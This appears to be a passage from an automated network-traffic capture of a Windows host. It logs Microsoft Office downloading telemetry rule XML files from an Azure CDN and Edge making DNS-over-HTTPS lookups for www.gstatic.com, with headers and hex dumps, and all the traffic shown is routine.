2024-11-25 06:53:40 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065340Z-178bfbc474bfw4gbhC1NYCunf4000000072g000000009629 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:41 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:41 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065341Z-15b8b599d88wn9hhhC1TEBry0g00000005p0000000007cgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065343Z-174c587ffdfb5q56hC1TEB04kg00000005fg00000000av7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 3b324e0c-901e-008f-425c-3d67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065343Z-15b8b599d88hd9g7hC1TEBp75c00000005hg000000008wrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065343Z-178bfbc474bp8mkvhC1NYCzqnn000000070g000000002v73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:43 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065343Z-174c587ffdftv9hphC1TEBm29w00000005d000000000ksdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:43 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: ba3424f4-801e-0047-3bbf-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065343Z-178bfbc474bvjk8shC1NYC83ns00000006ug00000000fcxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49847	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb9303abc1869-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a5 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49860	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb930881743a3-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e1 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49846	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb93088f70f9d-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49859	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb930df080fa1-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49854	162.159.61.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
